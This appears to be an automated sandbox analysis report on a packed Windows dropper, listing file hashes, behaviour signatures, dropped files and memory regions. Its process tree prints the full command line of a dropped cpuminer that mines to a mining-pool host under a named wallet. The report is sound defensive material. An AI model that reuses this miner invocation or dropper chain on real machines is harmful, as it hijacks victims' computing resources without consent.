Analysis

  • max time kernel
    299s
  • max time network
    307s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    11/02/2024, 18:50

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Users\Admin\AppData\Local\Temp\67DD.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\67DD.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\67DD.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3324
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\77CB.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2964
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:400

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\67DD.tmp\b2e.exe

    Filesize

    641KB

    MD5

    4015f4adb8a5e54e38f9d4d40e91c1f0

    SHA1

    b08352c0f7dcfa9c27a5854d84f2ffdcfdf4ec1c

    SHA256

    7bc03da8754ad76c517432cc2d0cda8fc508a37c071dedde141eef00fc8a2e36

    SHA512

    fceb00b2318a9d373438ae11f31a112e91075601dc5a4d88ce3ef36d97c73126ae88b50e7a1353029b09154e1f8453010c00b0ca2600cbf9182f1bbf0a8f20ac

  • C:\Users\Admin\AppData\Local\Temp\67DD.tmp\b2e.exe

    Filesize

    2.1MB

    MD5

    6aae2084aa3f68c3e8f5808eafb8eb8e

    SHA1

    7a9452738f677a2c5bcaaac68c1de4721684e627

    SHA256

    3be559306e5cb87d0d1cf71618ac530ffe12e220c021ff77a5ef224f0acd7656

    SHA512

    9a5ddf7e8727c7375faaf71571f38330436f280016a4c2bfd02df65b71056183aa3732e059dd154bd7f30cf2ddea0378b41ac16142b937ea0e3dd7401d9f43c4

  • C:\Users\Admin\AppData\Local\Temp\67DD.tmp\b2e.exe

    Filesize

    1.9MB

    MD5

    3f313d66555efde5519ce9bf365d546b

    SHA1

    7612c86c2cbadb33cc4dd0ad56f04eeaf3a455db

    SHA256

    e27f2d52becfb61e75b0540f1457b7e3f5ffec2d34e272e7fa2297aa9a95bb77

    SHA512

    f4f9f7a3f35584b4d64395bf7c83951bdf7dd816c24fda651bcaf2cce043d7e15ec0d1bda00afe7333d41db20965a8e29a8c6d852b51140c3c017b2af20ab2af

  • C:\Users\Admin\AppData\Local\Temp\77CB.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    877KB

    MD5

    83600dccfbd9810cc798df1fc5a63276

    SHA1

    89bb59e3529b14068d3d9b4c1547f8f76ee08628

    SHA256

    c8b1e9219b08ce151ebb58e3bd79754f8b1ccab99fc54f98b5b6da55230dde68

    SHA512

    10b29de0f42d0f55b0de4f847dec3f0d9413bd439d8f5187089fb6eed1b1f71115b52f8287601ae0fcff983daae79c770d9e24321fcef8e73f2c45d4ca70ca8b

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    556KB

    MD5

    e1f21b726f44b17a6ba0f64cd1be7644

    SHA1

    5c83d9562599bc7466ec8fdee88e417f0cca1307

    SHA256

    ac4bc9e626228206854e91d8bff05a36589c59e5a6a51d510fc3751721a3db8b

    SHA512

    e900a4cc0953ba20f8144d3a1251c91c0ad9278593d86a7e8215018095f6e8308f39215ae681e8cd9e2a951c2f4f79f8b4cc4d7407b5506884c6b1cd5ffd654e

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    613KB

    MD5

    65b6a4c06d19ab4a829522d1dca0e362

    SHA1

    6104777ef1e5169ae1f042e063082921c3f8af01

    SHA256

    746a79aed5bdce973fb101808a86959fa65d7f1064fca62c4b0440f71883b2e2

    SHA512

    5d0a71a5c6a8de4e1c4cd970426626cc6aac8a6696e181bc34bdb16077c3ff61ac81a7e2faf4ee396254afedf6b8dc016774703012a1e0a75b5755f432e6cd95

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    768KB

    MD5

    e3f15c79f945604229fa814f57c79274

    SHA1

    19a7015dfbe622ab86c48693ee1605b26112a3fa

    SHA256

    7b09ee53447ccf77a0f2d7bfe25908f963d681433d3cba5a16c7f45646c42175

    SHA512

    12dc1df8a947caee13a12eca5a976feffd7408402b0495e4971d4bd7181e8d353ebc17da044d2ce6d1c273bb05a0ca5ddf7492394b355786d8b14b0997de162c

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    813KB

    MD5

    327965389a54b808be392a8419e9c276

    SHA1

    1172c61c2c40402a0a9b019dd1888f06d0488f2e

    SHA256

    26d9da6448cb568cc1b45aeb9c59ddf56ec21aea03550859d6d7a0591ea4f533

    SHA512

    b22a179b9487d962f876cc9465bfddb41154d86bbe432ce31a38352ac15a266f0034e0e9b38460e264185f7fc72d279e61b8418c8b2bd594e42d3730a9278c51

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    558KB

    MD5

    732bdaf0c2002bf26292116921e2db5a

    SHA1

    65d0391a95465d2ca6fac11032aaf800c16849e7

    SHA256

    9b3adeae5fc2f144e3f5bb9939ff8c31291c0ce756cdde4a80d0294e8792c788

    SHA512

    a7fa8f0face9b824f9b02be344e6101faab74e90e0f23e3ab943a5fe773b2dd51a6fc518bf831522c2ec038c73b8a481c786fe41e2e3796eada53a3d5d559076

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    636KB

    MD5

    2a149d0ef4e1fdbdf2b3a6b5a9c937ba

    SHA1

    46398180205674822161d46f0f4d1ace12d7db20

    SHA256

    2fbcf8a4e7880882b9286b1b96f5c36cd494881730b3d226c0df2a9435c147b4

    SHA512

    401da6255751e060dc746ec5bc9278b7dcc59f1fafb0d2f43a5b33866cad5b6bbabfd083868eeb15509935031b4c0eecf47898e3576820d1d4e9160863c52884

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    656KB

    MD5

    cd2526b1b43b5b649fce8634046cf9cc

    SHA1

    2d6661c511fc22e1cb3f408b9249b702c60e9acb

    SHA256

    d503438a3ca79337441e3f8229401bac3bb1e975a6cb93e37a4a857b35edf72c

    SHA512

    6896465eab52f475a29e911e76c8c2cdfdd8bd23c9440729f629042e1eca051ee9b396918fb2158e3f969f2ac303206f9088bd05bb322a69364b6e45db787e6f

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    540KB

    MD5

    5bcf3fd85ba10099ce430ae845b65c4b

    SHA1

    c9be7936e40d002977c27271f94f9bc6bc8b5d91

    SHA256

    96ff6d611c612b4f0421b1a2cd3268a237cedd79a5e81ca0deaa9efe580f5ec2

    SHA512

    5d8530a4826e373ed7694e4eb0bf6d679f607eca057593e583dbe7a468dea88d123f7fbd9e20bf724a4e8bc316210bb67204327ddeee3ea48dac75a66f3fb213

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/400-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/400-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/400-45-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/400-46-0x0000000051D90000-0x0000000051E28000-memory.dmp

    Filesize

    608KB

  • memory/400-44-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/400-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/400-47-0x0000000001120000-0x00000000029D5000-memory.dmp

    Filesize

    24.7MB

  • memory/400-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/400-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/400-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/400-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/400-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/400-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1168-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/3324-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3324-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB